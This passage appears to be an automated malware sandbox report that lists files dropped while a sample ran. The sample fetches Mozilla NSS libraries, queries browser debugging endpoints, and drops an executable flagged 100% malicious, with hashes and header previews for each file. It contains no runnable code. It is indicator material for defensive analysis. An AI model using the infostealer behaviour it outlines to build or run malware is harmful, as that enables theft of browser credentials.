SHA-512:	25F16B557A8A9E309EA8F4EA8C6D4173186E62FE6B3DA6DA6B73F4C349A3DA04E6B2E3611947565F23ADCD3C79446BF65DD05C231ED00C175F68B7B3E3261D32
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3686f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090670959472592
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMrwuF9hDO6vP6O+Ttbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEf6qtbz8hu3VlXr4CRo1
MD5:	19ADF673C8029D8E29217CE156192A4F
SHA1:	851FAF5698763CC80F3692C9CEEDCB57CA717914
SHA-256:	6F6B5B61FF80DC018E10DFD7CA852E5EFE27E1E83B7E79D276F08F52DFEF7D99
SHA-512:	25F16B557A8A9E309EA8F4EA8C6D4173186E62FE6B3DA6DA6B73F4C349A3DA04E6B2E3611947565F23ADCD3C79446BF65DD05C231ED00C175F68B7B3E3261D32
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF375be.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090670959472592
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMrwuF9hDO6vP6O+Ttbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEf6qtbz8hu3VlXr4CRo1
MD5:	19ADF673C8029D8E29217CE156192A4F
SHA1:	851FAF5698763CC80F3692C9CEEDCB57CA717914
SHA-256:	6F6B5B61FF80DC018E10DFD7CA852E5EFE27E1E83B7E79D276F08F52DFEF7D99
SHA-512:	25F16B557A8A9E309EA8F4EA8C6D4173186E62FE6B3DA6DA6B73F4C349A3DA04E6B2E3611947565F23ADCD3C79446BF65DD05C231ED00C175F68B7B3E3261D32
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF375cd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090670959472592
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMrwuF9hDO6vP6O+Ttbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEf6qtbz8hu3VlXr4CRo1
MD5:	19ADF673C8029D8E29217CE156192A4F
SHA1:	851FAF5698763CC80F3692C9CEEDCB57CA717914
SHA-256:	6F6B5B61FF80DC018E10DFD7CA852E5EFE27E1E83B7E79D276F08F52DFEF7D99
SHA-512:	25F16B557A8A9E309EA8F4EA8C6D4173186E62FE6B3DA6DA6B73F4C349A3DA04E6B2E3611947565F23ADCD3C79446BF65DD05C231ED00C175F68B7B3E3261D32
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.3488360343066725
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQw:YQ3Kq9X0dMgAEiLI2
MD5:	265DB1C9337422F9AF69EF2B4E1C7205
SHA1:	3E38976BB5CF035C75C9BC185F72A80E70F41C2E
SHA-256:	7CA5A3CCC077698CA62AC8157676814B3D8E93586364D0318987E37B4F8590BC
SHA-512:	3CC9B76D8D4B6EDB4C41677BE3483AC37785F3BBFEA4489F3855433EBF84EA25FC48EFEE9B74CAB268DC9CB7FB4789A81C94E75C7BF723721DE28AEF53D8B529
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b7bf2a3e-fe71-4205-847c-1489c99491b0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44608
Entropy (8bit):	6.095854380570284
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBAwuFhDO6vP6Ov8eG7ZU2LecGoup1Xl3jVzXr4CCz:z/Ps+wsI7ynEl6P8e3chu3VlXr4CRo1
MD5:	CEB58600DDB0D816CDA584D18A9EA6BC
SHA1:	3FA19E755B91495D354CB1FAF2B623E8D84B1596
SHA-256:	91D7B32A73A02C1D9CF0C952D4624A276C90319EBF4A92F217ACFE9A955F044F
SHA-512:	B3AB95F7AA40A829B1672563F13DBA7F21A371009EC50C95A4B5C63DDFC90FC43A07FB8681AA7FF84CA94E994980231180B2EAE57784C651EC3EA84A3E6787A5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3203584
Entropy (8bit):	6.6942866299672605
Encrypted:	false
SSDEEP:	24576:LutBNigQdawalydZuBPB6DQ/+wxwhEon8x05F+4c7mVP+ik1ma4pDNtJ8wDTRGBk:LutBYEYtgHeHXNdG37Mu0d6g
MD5:	437E5B85872F6D993B380398E86F4A3F
SHA1:	49E6F7F0676771E49CCA34DFBC13F0ED4F9A0D57
SHA-256:	45DB898A7B32B00C25AA1A06B0470B9F46CBA262FCA4601287CDB039DABE2822
SHA-512:	813D1144C608416E67C4337DC5C9E1DE3CD3C8C743E587CD5E708946D6A993946357DC5027A231E831BD4C70D767D50DB5DE23719EC53FDD834C784FB8C1AC96
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@.......................... 1......#1...@.................................W...k.............................0...............................0..................................................... . ............................@....rsrc...............................@....idata ............................@...pehggevz.0......$.................@...hfkshdco......0.......0.............@....taggant.0....0.."....0.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.376577414767303
Encrypted:	false
SSDEEP:	48:SfNaoQHnZTEQHHfNaoQkQufNaoQpQ3fNaoQCFc0UrU0U8QCa:6NnQ5TEQfNnQkQWNnQpQvNnQCFc0UrUd
MD5:	D189318DB6E88EE33B2B8C61F2D5CF87
SHA1:	2F165E86DABB6E9C780ADD3DF48566002DD9C71D
SHA-256:	ACBE6E13ED527E47E689E0FFBA02873FCC1EF153D2D8B0DBCD33E4D6FCC9E5CE
SHA-512:	4A9D9FC2DEF8D5684C1139EB4161813BBBD673B1EA7896502CD503E6DDF739FC30FC04C111ECB325A2E1DFFE5323DC20287389297AE85EB07D0B2EE3A3D07E4E
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/D786456EEE581EEEC0756ECA941B80E5",.. "id": "D786456EEE581EEEC0756ECA941B80E5",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/D786456EEE581EEEC0756ECA941B80E5"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/817311EA387DEEC14282B6C9C52FEB05",.. "id": "817311EA387DEEC14282B6C9C52FEB05",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/817311EA387DEEC14282B6C9C52FEB05"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Documents\GCGHCBKFCF.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3203584
Entropy (8bit):	6.6942866299672605
Encrypted:	false
SSDEEP:	24576:LutBNigQdawalydZuBPB6DQ/+wxwhEon8x05F+4c7mVP+ik1ma4pDNtJ8wDTRGBk:LutBYEYtgHeHXNdG37Mu0d6g
MD5:	437E5B85872F6D993B380398E86F4A3F
SHA1:	49E6F7F0676771E49CCA34DFBC13F0ED4F9A0D57
SHA-256:	45DB898A7B32B00C25AA1A06B0470B9F46CBA262FCA4601287CDB039DABE2822
SHA-512:	813D1144C608416E67C4337DC5C9E1DE3CD3C8C743E587CD5E708946D6A993946357DC5027A231E831BD4C70D767D50DB5DE23719EC53FDD834C784FB8C1AC96
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@.......................... 1......#1...@.................................W...k.............................0...............................0..................................................... . ............................@....rsrc...............................@....idata ............................@...pehggevz.0......$.................@...hfkshdco......0.......0.............@....taggant.0....0.."....0.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Dec 7 06:43:13 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9773510188725
Encrypted:	false
SSDEEP:	48:8hdITswtHtZidAKZdA19ehwiZUklqehuy+3:8UPfFy
MD5:	0094DAF7A0BAE74B0FA21756C6183B0F
SHA1:	376445C93F52FFBCD530A34AAD5F258CCF010E89
SHA-256:	B3429363A0399FC8B59FEA29C35AF8B59735D5D6D2886CFDBEA46A676EAAF4D0
SHA-512:	253499A60CC55A8EC6712361AD29D0D68EA45CE3087C6C3668DD91CAF0CE35B1C49D9E0BB6CFF74F4220EF79D7959A88E0DEA5CE3F3AFAFE591591C6C67231BF
Malicious:	false
Preview:	L..................F.@.. ...$+.,....._.{H..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Yf=....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yf=....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Yf=....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Yf=..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Yg=...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............ .......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Dec 7 06:43:13 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.992500275276307
Encrypted:	false
SSDEEP:	48:8+dITswtHtZidAKZdA1weh/iZUkAQkqeh1y+2:8RPl9Q8y
MD5:	D1E35C512C7DFEC5C2C8D968C7AE2E65
SHA1:	E4289D0388BBAAB01B45539AD63C5D4A1ABD7B2B
SHA-256:	1A366651B41BC262BC34FF7045E32E1F620731EFAB0DC351812E47155073CA9F
SHA-512:	7BBA9E31ACE65DF5341778EB98121BAE5EB40DAF3939F0E3DAEB16A78C0484C5617FD31B2F62BDEEFF946A7AC3E97CAA53EE215DE1B0609AC24412B4CBEFD934
Malicious:	false
